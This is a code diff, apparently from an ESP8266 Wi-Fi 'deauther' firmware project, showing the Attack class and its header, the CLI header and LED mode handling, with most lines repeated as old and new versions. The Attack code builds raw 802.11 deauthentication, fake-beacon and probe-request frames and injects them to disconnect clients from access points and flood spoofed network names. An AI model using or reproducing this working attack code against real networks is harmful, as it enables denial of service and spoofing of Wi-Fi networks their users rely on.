memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return true;
|
||||
} else {
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return false;
|
||||
}
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
// try again until it's sent out
|
||||
for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) tmpPacketRate++;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
||||
@@ -1,207 +1,207 @@
|
||||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern Settings settings;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
||||
|
||||
bool isRunning();
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint32_t getPacketRate();
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
|
||||
void updateCounter();
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
|
||||
#endif // ifndef Attack_h
|
||||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern Settings settings;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries);
|
||||
|
||||
bool isRunning();
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint32_t getPacketRate();
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
|
||||
void updateCounter();
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x04, // Tag Number: Supported Rates (1), Tag length: 4
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
|
||||
#endif // ifndef Attack_h
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,95 +1,95 @@
|
||||
#ifndef CLI_h
|
||||
#define CLI_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "LED.h"
|
||||
|
||||
extern LED led;
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
extern void printWifiStatus();
|
||||
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
||||
extern void wifiUpdate();
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
|
||||
#endif // ifndef CLI_h
|
||||
#ifndef CLI_h
|
||||
#define CLI_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include <FS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "LED.h"
|
||||
|
||||
extern LED led;
|
||||
extern Settings settings;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(uint8_t* mac);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
extern void printWifiStatus();
|
||||
extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal);
|
||||
extern void wifiUpdate();
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
||||
|
||||
#endif // ifndef CLI_h
|
||||
@@ -1,195 +1,200 @@
|
||||
#include "LED.h"
|
||||
|
||||
LED::LED() {}
|
||||
|
||||
LED::~LED() {
|
||||
if (led) delete led;
|
||||
}
|
||||
|
||||
void LED::setup() {
|
||||
#if defined(DIGITAL_LED)
|
||||
led = new DigitalLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(RGB_LED)
|
||||
led = new LED::AnalogRGBLED(LED_PIN_R, LED_PIN_G, LED_PIN_B, LED_MODE_BRIGHTNESS, LED_ANODE);
|
||||
led->setup();
|
||||
#elif defined(NEOPIXEL_LED)
|
||||
led = new LED::NeopixelLED(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, LED_MODE_BRIGHTNESS);
|
||||
led->setup();
|
||||
#endif
|
||||
}
|
||||
|
||||
void LED::update() {
|
||||
if (!tempEnabled || !led) return;
|
||||
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && (scan.deauths < settings.getMinDeauths())) setMode(LED_MODE::SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE::DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE::ATTACK, false);
|
||||
else setMode(LED_MODE::IDLE, false);
|
||||
}
|
||||
|
||||
void LED::setMode(uint8_t mode, bool force) {
|
||||
if (!led) return;
|
||||
|
||||
if ((mode != LED::mode) || force) {
|
||||
LED::mode = mode;
|
||||
|
||||
switch (mode) {
|
||||
case LED_MODE::OFF:
|
||||
led->setColor(0, 0, 0);
|
||||
break;
|
||||
case LED_MODE::SCAN:
|
||||
led->setColor(0, 0, 255);
|
||||
break;
|
||||
case LED_MODE::ATTACK:
|
||||
led->setColor(255, 255, 0);
|
||||
break;
|
||||
case LED_MODE::DEAUTH:
|
||||
led->setColor(255, 0, 0);
|
||||
break;
|
||||
case LED_MODE::IDLE:
|
||||
led->setColor(0, 255, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, bool output) {
|
||||
// debug output
|
||||
if (output) {
|
||||
char s[30];
|
||||
sprintf_P(s, L_OUTPUT, r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
led->setColor(r, g, b);
|
||||
}
|
||||
|
||||
void LED::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
led->setBrightness(brightness);
|
||||
setColor(r, g, b, output);
|
||||
}
|
||||
|
||||
void LED::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void LED::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool LED::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
// ===== DigitalLED ===== //
|
||||
